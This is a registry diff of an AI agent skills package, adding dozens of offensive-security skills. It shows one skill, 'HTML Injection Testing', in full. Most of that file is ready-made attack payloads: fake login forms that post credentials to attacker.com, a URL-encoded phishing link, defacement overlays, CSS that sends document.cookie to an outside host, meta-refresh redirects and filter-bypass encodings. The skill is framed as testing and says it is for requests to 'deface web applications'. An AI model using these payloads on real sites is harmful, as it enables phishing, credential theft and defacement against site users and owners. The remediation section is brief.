@namch/agent-assistant 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (168) hide show
  1. package/README.md +83 -539
  2. package/agents/backend-engineer.md +0 -8
  3. package/agents/brainstormer.md +0 -6
  4. package/agents/business-analyst.md +0 -5
  5. package/agents/database-architect.md +0 -6
  6. package/agents/debugger.md +0 -6
  7. package/agents/designer.md +0 -5
  8. package/agents/devops-engineer.md +0 -7
  9. package/agents/docs-manager.md +0 -6
  10. package/agents/frontend-engineer.md +0 -7
  11. package/agents/game-engineer.md +0 -7
  12. package/agents/mobile-engineer.md +0 -7
  13. package/agents/performance-engineer.md +0 -7
  14. package/agents/planner.md +0 -6
  15. package/agents/project-manager.md +0 -6
  16. package/agents/researcher.md +0 -5
  17. package/agents/reviewer.md +0 -6
  18. package/agents/scouter.md +0 -6
  19. package/agents/security-engineer.md +0 -7
  20. package/agents/tech-lead.md +0 -7
  21. package/agents/tester.md +0 -5
  22. package/cli/README.md +19 -10
  23. package/documents/business/business-features.md +1 -1
  24. package/documents/business/business-prd.md +4 -4
  25. package/documents/knowledge-architecture.md +1 -1
  26. package/documents/knowledge-domain.md +1 -1
  27. package/documents/knowledge-overview.md +14 -29
  28. package/documents/knowledge-source-base.md +14 -14
  29. package/package.json +1 -1
  30. package/rules/QUICK-REFERENCE.md +4 -1
  31. package/rules/SKILL-DISCOVERY.md +37 -14
  32. package/skills/active-directory-attacks/SKILL.md +383 -0
  33. package/skills/active-directory-attacks/references/advanced-attacks.md +382 -0
  34. package/skills/agent-evaluation/SKILL.md +64 -0
  35. package/skills/agent-memory-mcp/SKILL.md +82 -0
  36. package/skills/agent-memory-systems/SKILL.md +67 -0
  37. package/skills/agent-tool-builder/SKILL.md +53 -0
  38. package/skills/ai-agents-architect/SKILL.md +90 -0
  39. package/skills/ai-product/SKILL.md +54 -0
  40. package/skills/ai-wrapper-product/SKILL.md +273 -0
  41. package/skills/api-documentation-generator/SKILL.md +484 -0
  42. package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
  43. package/skills/api-security-best-practices/SKILL.md +907 -0
  44. package/skills/autonomous-agent-patterns/SKILL.md +761 -0
  45. package/skills/autonomous-agents/SKILL.md +68 -0
  46. package/skills/aws-penetration-testing/SKILL.md +405 -0
  47. package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -0
  48. package/skills/azure-functions/SKILL.md +42 -0
  49. package/skills/backend-dev-guidelines/SKILL.md +342 -0
  50. package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
  51. package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
  52. package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
  53. package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
  54. package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
  55. package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
  56. package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
  57. package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
  58. package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
  59. package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
  60. package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
  61. package/skills/broken-authentication/SKILL.md +476 -0
  62. package/skills/bullmq-specialist/SKILL.md +57 -0
  63. package/skills/bun-development/SKILL.md +691 -0
  64. package/skills/burp-suite-testing/SKILL.md +380 -0
  65. package/skills/cloud-penetration-testing/SKILL.md +501 -0
  66. package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -0
  67. package/skills/computer-use-agents/SKILL.md +315 -0
  68. package/skills/content-creator/SKILL.md +248 -0
  69. package/skills/content-creator/assets/content_calendar_template.md +99 -0
  70. package/skills/content-creator/references/brand_guidelines.md +199 -0
  71. package/skills/content-creator/references/content_frameworks.md +534 -0
  72. package/skills/content-creator/references/social_media_optimization.md +317 -0
  73. package/skills/content-creator/scripts/brand_voice_analyzer.py +185 -0
  74. package/skills/content-creator/scripts/seo_optimizer.py +419 -0
  75. package/skills/context-window-management/SKILL.md +53 -0
  76. package/skills/conversation-memory/SKILL.md +61 -0
  77. package/skills/copy-editing/SKILL.md +439 -0
  78. package/skills/copywriting/SKILL.md +225 -0
  79. package/skills/crewai/SKILL.md +243 -0
  80. package/skills/discord-bot-architect/SKILL.md +277 -0
  81. package/skills/dispatching-parallel-agents/SKILL.md +180 -0
  82. package/skills/email-sequence/SKILL.md +925 -0
  83. package/skills/email-systems/SKILL.md +54 -0
  84. package/skills/ethical-hacking-methodology/SKILL.md +466 -0
  85. package/skills/executing-plans/SKILL.md +76 -0
  86. package/skills/file-path-traversal/SKILL.md +486 -0
  87. package/skills/finishing-a-development-branch/SKILL.md +200 -0
  88. package/skills/frontend-dev-guidelines/SKILL.md +359 -0
  89. package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
  90. package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
  91. package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
  92. package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
  93. package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
  94. package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
  95. package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
  96. package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
  97. package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
  98. package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
  99. package/skills/gcp-cloud-run/SKILL.md +288 -0
  100. package/skills/git-pushing/SKILL.md +33 -0
  101. package/skills/git-pushing/scripts/smart_commit.sh +19 -0
  102. package/skills/github-workflow-automation/SKILL.md +846 -0
  103. package/skills/html-injection-testing/SKILL.md +498 -0
  104. package/skills/idor-testing/SKILL.md +442 -0
  105. package/skills/inngest/SKILL.md +55 -0
  106. package/skills/javascript-mastery/SKILL.md +645 -0
  107. package/skills/kaizen/SKILL.md +730 -0
  108. package/skills/langfuse/SKILL.md +238 -0
  109. package/skills/langgraph/SKILL.md +287 -0
  110. package/skills/linux-privilege-escalation/SKILL.md +504 -0
  111. package/skills/llm-app-patterns/SKILL.md +760 -0
  112. package/skills/metasploit-framework/SKILL.md +478 -0
  113. package/skills/multi-agent-brainstorming/SKILL.md +256 -0
  114. package/skills/neon-postgres/SKILL.md +56 -0
  115. package/skills/nextjs-supabase-auth/SKILL.md +56 -0
  116. package/skills/nosql-expert/SKILL.md +111 -0
  117. package/skills/pentest-checklist/SKILL.md +334 -0
  118. package/skills/pentest-commands/SKILL.md +438 -0
  119. package/skills/plaid-fintech/SKILL.md +50 -0
  120. package/skills/planning-with-files/SKILL.md +211 -0
  121. package/skills/planning-with-files/examples.md +202 -0
  122. package/skills/planning-with-files/reference.md +218 -0
  123. package/skills/planning-with-files/scripts/check-complete.sh +44 -0
  124. package/skills/planning-with-files/scripts/init-session.sh +120 -0
  125. package/skills/planning-with-files/templates/findings.md +95 -0
  126. package/skills/planning-with-files/templates/progress.md +114 -0
  127. package/skills/planning-with-files/templates/task_plan.md +132 -0
  128. package/skills/privilege-escalation-methods/SKILL.md +333 -0
  129. package/skills/production-code-audit/SKILL.md +540 -0
  130. package/skills/prompt-caching/SKILL.md +61 -0
  131. package/skills/prompt-engineering/SKILL.md +171 -0
  132. package/skills/prompt-library/SKILL.md +322 -0
  133. package/skills/rag-engineer/SKILL.md +90 -0
  134. package/skills/rag-implementation/SKILL.md +63 -0
  135. package/skills/react-ui-patterns/SKILL.md +289 -0
  136. package/skills/red-team-tools/SKILL.md +310 -0
  137. package/skills/scanning-tools/SKILL.md +589 -0
  138. package/skills/shodan-reconnaissance/SKILL.md +503 -0
  139. package/skills/slack-bot-builder/SKILL.md +264 -0
  140. package/skills/smtp-penetration-testing/SKILL.md +500 -0
  141. package/skills/social-content/SKILL.md +807 -0
  142. package/skills/software-architecture/SKILL.md +75 -0
  143. package/skills/sql-injection-testing/SKILL.md +448 -0
  144. package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
  145. package/skills/ssh-penetration-testing/SKILL.md +488 -0
  146. package/skills/stripe-integration/SKILL.md +69 -0
  147. package/skills/subagent-driven-development/SKILL.md +240 -0
  148. package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +20 -0
  149. package/skills/subagent-driven-development/implementer-prompt.md +78 -0
  150. package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
  151. package/skills/tavily-web/SKILL.md +36 -0
  152. package/skills/telegram-bot-builder/SKILL.md +254 -0
  153. package/skills/test-driven-development/SKILL.md +371 -0
  154. package/skills/test-driven-development/testing-anti-patterns.md +299 -0
  155. package/skills/test-fixing/SKILL.md +119 -0
  156. package/skills/top-web-vulnerabilities/SKILL.md +543 -0
  157. package/skills/trigger-dev/SKILL.md +67 -0
  158. package/skills/twilio-communications/SKILL.md +295 -0
  159. package/skills/upstash-qstash/SKILL.md +68 -0
  160. package/skills/verification-before-completion/SKILL.md +139 -0
  161. package/skills/voice-agents/SKILL.md +68 -0
  162. package/skills/voice-ai-development/SKILL.md +302 -0
  163. package/skills/windows-privilege-escalation/SKILL.md +496 -0
  164. package/skills/wireshark-analysis/SKILL.md +497 -0
  165. package/skills/wordpress-penetration-testing/SKILL.md +485 -0
  166. package/skills/workflow-automation/SKILL.md +68 -0
  167. package/skills/xss-html-injection/SKILL.md +499 -0
  168. package/skills/zapier-make-patterns/SKILL.md +67 -0
@@ -0,0 +1,498 @@
1
+ ---
2
+ name: HTML Injection Testing
3
+ description: This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
4
+ metadata:
5
+ author: zebbern
6
+ version: "1.1"
7
+ ---
8
+
9
+ # HTML Injection Testing
10
+
11
+ ## Purpose
12
+
13
+ Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
14
+
15
+ ## Prerequisites
16
+
17
+ ### Required Tools
18
+ - Web browser with developer tools
19
+ - Burp Suite or OWASP ZAP
20
+ - Tamper Data or similar proxy
21
+ - cURL for testing payloads
22
+
23
+ ### Required Knowledge
24
+ - HTML fundamentals
25
+ - HTTP request/response structure
26
+ - Web application input handling
27
+ - Difference between HTML injection and XSS
28
+
29
+ ## Outputs and Deliverables
30
+
31
+ 1. **Vulnerability Report** - Identified injection points
32
+ 2. **Exploitation Proof** - Demonstrated content manipulation
33
+ 3. **Impact Assessment** - Potential phishing and defacement risks
34
+ 4. **Remediation Guidance** - Input validation recommendations
35
+
36
+ ## Core Workflow
37
+
38
+ ### Phase 1: Understanding HTML Injection
39
+
40
+ HTML injection occurs when user input is reflected in web pages without proper sanitization:
41
+
42
+ ```html
43
+ <!-- Vulnerable code example -->
44
+ <div>
45
+ Welcome, <?php echo $_GET['name']; ?>
46
+ </div>
47
+
48
+ <!-- Attack input -->
49
+ ?name=<h1>Injected Content</h1>
50
+
51
+ <!-- Rendered output -->
52
+ <div>
53
+ Welcome, <h1>Injected Content</h1>
54
+ </div>
55
+ ```
56
+
57
+ Key differences from XSS:
58
+ - HTML injection: Only HTML tags are rendered
59
+ - XSS: JavaScript code is executed
60
+ - HTML injection is often stepping stone to XSS
61
+
62
+ Attack goals:
63
+ - Modify website appearance (defacement)
64
+ - Create fake login forms (phishing)
65
+ - Inject malicious links
66
+ - Display misleading content
67
+
68
+ ### Phase 2: Identifying Injection Points
69
+
70
+ Map application for potential injection surfaces:
71
+
72
+ ```
73
+ 1. Search bars and search results
74
+ 2. Comment sections
75
+ 3. User profile fields
76
+ 4. Contact forms and feedback
77
+ 5. Registration forms
78
+ 6. URL parameters reflected on page
79
+ 7. Error messages
80
+ 8. Page titles and headers
81
+ 9. Hidden form fields
82
+ 10. Cookie values reflected on page
83
+ ```
84
+
85
+ Common vulnerable parameters:
86
+ ```
87
+ ?name=
88
+ ?user=
89
+ ?search=
90
+ ?query=
91
+ ?message=
92
+ ?title=
93
+ ?content=
94
+ ?redirect=
95
+ ?url=
96
+ ?page=
97
+ ```
98
+
99
+ ### Phase 3: Basic HTML Injection Testing
100
+
101
+ Test with simple HTML tags:
102
+
103
+ ```html
104
+ <!-- Basic text formatting -->
105
+ <h1>Test Injection</h1>
106
+ <b>Bold Text</b>
107
+ <i>Italic Text</i>
108
+ <u>Underlined Text</u>
109
+ <font color="red">Red Text</font>
110
+
111
+ <!-- Structural elements -->
112
+ <div style="background:red;color:white;padding:10px">Injected DIV</div>
113
+ <p>Injected paragraph</p>
114
+ <br><br><br>Line breaks
115
+
116
+ <!-- Links -->
117
+ <a href="http://attacker.com">Click Here</a>
118
+ <a href="http://attacker.com">Legitimate Link</a>
119
+
120
+ <!-- Images -->
121
+ <img src="http://attacker.com/image.png">
122
+ <img src="x" onerror="alert(1)"> <!-- XSS attempt -->
123
+ ```
124
+
125
+ Testing workflow:
126
+ ```bash
127
+ # Test basic injection
128
+ curl "http://target.com/search?q=<h1>Test</h1>"
129
+
130
+ # Check if HTML renders in response
131
+ curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
132
+
133
+ # Test in URL-encoded form
134
+ curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
135
+ ```
136
+
137
+ ### Phase 4: Types of HTML Injection
138
+
139
+ #### Stored HTML Injection
140
+
141
+ Payload persists in database:
142
+
143
+ ```html
144
+ <!-- Profile bio injection -->
145
+ Name: John Doe
146
+ Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
147
+ <h1>Site Under Maintenance</h1>
148
+ <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
149
+ </div>
150
+
151
+ <!-- Comment injection -->
152
+ Great article!
153
+ <form action="http://attacker.com/steal" method="POST">
154
+ <input name="username" placeholder="Session expired. Enter username:">
155
+ <input name="password" type="password" placeholder="Password:">
156
+ <input type="submit" value="Login">
157
+ </form>
158
+ ```
159
+
160
+ #### Reflected GET Injection
161
+
162
+ Payload in URL parameters:
163
+
164
+ ```html
165
+ <!-- URL injection -->
166
+ http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
167
+
168
+ <!-- Search result injection -->
169
+ http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
170
+ ```
171
+
172
+ #### Reflected POST Injection
173
+
174
+ Payload in POST data:
175
+
176
+ ```bash
177
+ # POST injection test
178
+ curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
179
+ http://target.com/submit
180
+
181
+ # Form field injection
182
+ curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
183
+ http://target.com/register
184
+ ```
185
+
186
+ #### URL-Based Injection
187
+
188
+ Inject into displayed URLs:
189
+
190
+ ```html
191
+ <!-- If URL is displayed on page -->
192
+ http://target.com/page/<h1>Injected</h1>
193
+
194
+ <!-- Path-based injection -->
195
+ http://target.com/users/<img src=x>/profile
196
+ ```
197
+
198
+ ### Phase 5: Phishing Attack Construction
199
+
200
+ Create convincing phishing forms:
201
+
202
+ ```html
203
+ <!-- Fake login form overlay -->
204
+ <div style="position:fixed;top:0;left:0;width:100%;height:100%;
205
+ background:white;z-index:9999;padding:50px;">
206
+ <h2>Session Expired</h2>
207
+ <p>Your session has expired. Please log in again.</p>
208
+ <form action="http://attacker.com/capture" method="POST">
209
+ <label>Username:</label><br>
210
+ <input type="text" name="username" style="width:200px;"><br><br>
211
+ <label>Password:</label><br>
212
+ <input type="password" name="password" style="width:200px;"><br><br>
213
+ <input type="submit" value="Login">
214
+ </form>
215
+ </div>
216
+
217
+ <!-- Hidden credential stealer -->
218
+ <style>
219
+ input { background: url('http://attacker.com/log?data=') }
220
+ </style>
221
+ <form action="http://attacker.com/steal" method="POST">
222
+ <input name="user" placeholder="Verify your username">
223
+ <input name="pass" type="password" placeholder="Verify your password">
224
+ <button>Verify</button>
225
+ </form>
226
+ ```
227
+
228
+ URL-encoded phishing link:
229
+ ```
230
+ http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
231
+ ```
232
+
233
+ ### Phase 6: Defacement Payloads
234
+
235
+ Website appearance manipulation:
236
+
237
+ ```html
238
+ <!-- Full page overlay -->
239
+ <div style="position:fixed;top:0;left:0;width:100%;height:100%;
240
+ background:#000;color:#0f0;z-index:9999;
241
+ display:flex;justify-content:center;align-items:center;">
242
+ <h1>HACKED BY SECURITY TESTER</h1>
243
+ </div>
244
+
245
+ <!-- Content replacement -->
246
+ <style>body{display:none}</style>
247
+ <body style="display:block !important">
248
+ <h1>This site has been compromised</h1>
249
+ </body>
250
+
251
+ <!-- Image injection -->
252
+ <img src="http://attacker.com/defaced.jpg"
253
+ style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
254
+
255
+ <!-- Marquee injection (visible movement) -->
256
+ <marquee behavior="alternate" style="font-size:50px;color:red;">
257
+ SECURITY VULNERABILITY DETECTED
258
+ </marquee>
259
+ ```
260
+
261
+ ### Phase 7: Advanced Injection Techniques
262
+
263
+ #### CSS Injection
264
+
265
+ ```html
266
+ <!-- Style injection -->
267
+ <style>
268
+ body { background: url('http://attacker.com/track?cookie='+document.cookie) }
269
+ .content { display: none }
270
+ .fake-content { display: block }
271
+ </style>
272
+
273
+ <!-- Inline style injection -->
274
+ <div style="background:url('http://attacker.com/log')">Content</div>
275
+ ```
276
+
277
+ #### Meta Tag Injection
278
+
279
+ ```html
280
+ <!-- Redirect via meta refresh -->
281
+ <meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
282
+
283
+ <!-- CSP bypass attempt -->
284
+ <meta http-equiv="Content-Security-Policy" content="default-src *">
285
+ ```
286
+
287
+ #### Form Action Override
288
+
289
+ ```html
290
+ <!-- Hijack existing form -->
291
+ <form action="http://attacker.com/steal">
292
+
293
+ <!-- If form already exists, add input -->
294
+ <input type="hidden" name="extra" value="data">
295
+ </form>
296
+ ```
297
+
298
+ #### iframe Injection
299
+
300
+ ```html
301
+ <!-- Embed external content -->
302
+ <iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
303
+
304
+ <!-- Invisible tracking iframe -->
305
+ <iframe src="http://attacker.com/track" style="display:none"></iframe>
306
+ ```
307
+
308
+ ### Phase 8: Bypass Techniques
309
+
310
+ Evade basic filters:
311
+
312
+ ```html
313
+ <!-- Case variations -->
314
+ <H1>Test</H1>
315
+ <ScRiPt>alert(1)</ScRiPt>
316
+
317
+ <!-- Encoding variations -->
318
+ &#60;h1&#62;Encoded&#60;/h1&#62;
319
+ %3Ch1%3EURL%20Encoded%3C%2Fh1%3E
320
+
321
+ <!-- Tag splitting -->
322
+ <h
323
+ 1>Split Tag</h1>
324
+
325
+ <!-- Null bytes -->
326
+ <h1%00>Null Byte</h1>
327
+
328
+ <!-- Double encoding -->
329
+ %253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
330
+
331
+ <!-- Unicode encoding -->
332
+ \u003ch1\u003eUnicode\u003c/h1\u003e
333
+
334
+ <!-- Attribute-based -->
335
+ <div onmouseover="alert(1)">Hover me</div>
336
+ <img src=x onerror=alert(1)>
337
+ ```
338
+
339
+ ### Phase 9: Automated Testing
340
+
341
+ #### Using Burp Suite
342
+
343
+ ```
344
+ 1. Capture request with potential injection point
345
+ 2. Send to Intruder
346
+ 3. Mark parameter value as payload position
347
+ 4. Load HTML injection wordlist
348
+ 5. Start attack
349
+ 6. Filter responses for rendered HTML
350
+ 7. Manually verify successful injections
351
+ ```
352
+
353
+ #### Using OWASP ZAP
354
+
355
+ ```
356
+ 1. Spider the target application
357
+ 2. Active Scan with HTML injection rules
358
+ 3. Review Alerts for injection findings
359
+ 4. Validate findings manually
360
+ ```
361
+
362
+ #### Custom Fuzzing Script
363
+
364
+ ```python
365
+ #!/usr/bin/env python3
366
+ import requests
367
+ import urllib.parse
368
+
369
+ target = "http://target.com/search"
370
+ param = "q"
371
+
372
+ payloads = [
373
+ "<h1>Test</h1>",
374
+ "<b>Bold</b>",
375
+ "<script>alert(1)</script>",
376
+ "<img src=x onerror=alert(1)>",
377
+ "<a href='http://evil.com'>Click</a>",
378
+ "<div style='color:red'>Styled</div>",
379
+ "<marquee>Moving</marquee>",
380
+ "<iframe src='http://evil.com'></iframe>",
381
+ ]
382
+
383
+ for payload in payloads:
384
+ encoded = urllib.parse.quote(payload)
385
+ url = f"{target}?{param}={encoded}"
386
+
387
+ try:
388
+ response = requests.get(url, timeout=5)
389
+ if payload.lower() in response.text.lower():
390
+ print(f"[+] Possible injection: {payload}")
391
+ elif "<h1>" in response.text or "<b>" in response.text:
392
+ print(f"[?] Partial reflection: {payload}")
393
+ except Exception as e:
394
+ print(f"[-] Error: {e}")
395
+ ```
396
+
397
+ ### Phase 10: Prevention and Remediation
398
+
399
+ Secure coding practices:
400
+
401
+ ```php
402
+ // PHP: Escape output
403
+ echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
404
+
405
+ // PHP: Strip tags
406
+ echo strip_tags($user_input);
407
+
408
+ // PHP: Allow specific tags only
409
+ echo strip_tags($user_input, '<p><b><i>');
410
+ ```
411
+
412
+ ```python
413
+ # Python: HTML escape
414
+ from html import escape
415
+ safe_output = escape(user_input)
416
+
417
+ # Python Flask: Auto-escaping
418
+ {{ user_input }} # Jinja2 escapes by default
419
+ {{ user_input | safe }} # Marks as safe (dangerous!)
420
+ ```
421
+
422
+ ```javascript
423
+ // JavaScript: Text content (safe)
424
+ element.textContent = userInput;
425
+
426
+ // JavaScript: innerHTML (dangerous!)
427
+ element.innerHTML = userInput; // Vulnerable!
428
+
429
+ // JavaScript: Sanitize
430
+ const clean = DOMPurify.sanitize(userInput);
431
+ element.innerHTML = clean;
432
+ ```
433
+
434
+ Server-side protections:
435
+ - Input validation (whitelist allowed characters)
436
+ - Output encoding (context-aware escaping)
437
+ - Content Security Policy (CSP) headers
438
+ - Web Application Firewall (WAF) rules
439
+
440
+ ## Quick Reference
441
+
442
+ ### Common Test Payloads
443
+
444
+ | Payload | Purpose |
445
+ |---------|---------|
446
+ | `<h1>Test</h1>` | Basic rendering test |
447
+ | `<b>Bold</b>` | Simple formatting |
448
+ | `<a href="evil.com">Link</a>` | Link injection |
449
+ | `<img src=x>` | Image tag test |
450
+ | `<div style="color:red">` | Style injection |
451
+ | `<form action="evil.com">` | Form hijacking |
452
+
453
+ ### Injection Contexts
454
+
455
+ | Context | Test Approach |
456
+ |---------|---------------|
457
+ | URL parameter | `?param=<h1>test</h1>` |
458
+ | Form field | POST with HTML payload |
459
+ | Cookie value | Inject via document.cookie |
460
+ | HTTP header | Inject in Referer/User-Agent |
461
+ | File upload | HTML file with malicious content |
462
+
463
+ ### Encoding Types
464
+
465
+ | Type | Example |
466
+ |------|---------|
467
+ | URL encoding | `%3Ch1%3E` = `<h1>` |
468
+ | HTML entities | `&#60;h1&#62;` = `<h1>` |
469
+ | Double encoding | `%253C` = `<` |
470
+ | Unicode | `\u003c` = `<` |
471
+
472
+ ## Constraints and Limitations
473
+
474
+ ### Attack Limitations
475
+ - Modern browsers may sanitize some injections
476
+ - CSP can prevent inline styles and scripts
477
+ - WAFs may block common payloads
478
+ - Some applications escape output properly
479
+
480
+ ### Testing Considerations
481
+ - Distinguish between HTML injection and XSS
482
+ - Verify visual impact in browser
483
+ - Test in multiple browsers
484
+ - Check for stored vs reflected
485
+
486
+ ### Severity Assessment
487
+ - Lower severity than XSS (no script execution)
488
+ - Higher impact when combined with phishing
489
+ - Consider defacement/reputation damage
490
+ - Evaluate credential theft potential
491
+
492
+ ## Troubleshooting
493
+
494
+ | Issue | Solutions |
495
+ |-------|-----------|
496
+ | HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
497
+ | Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
498
+ | XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |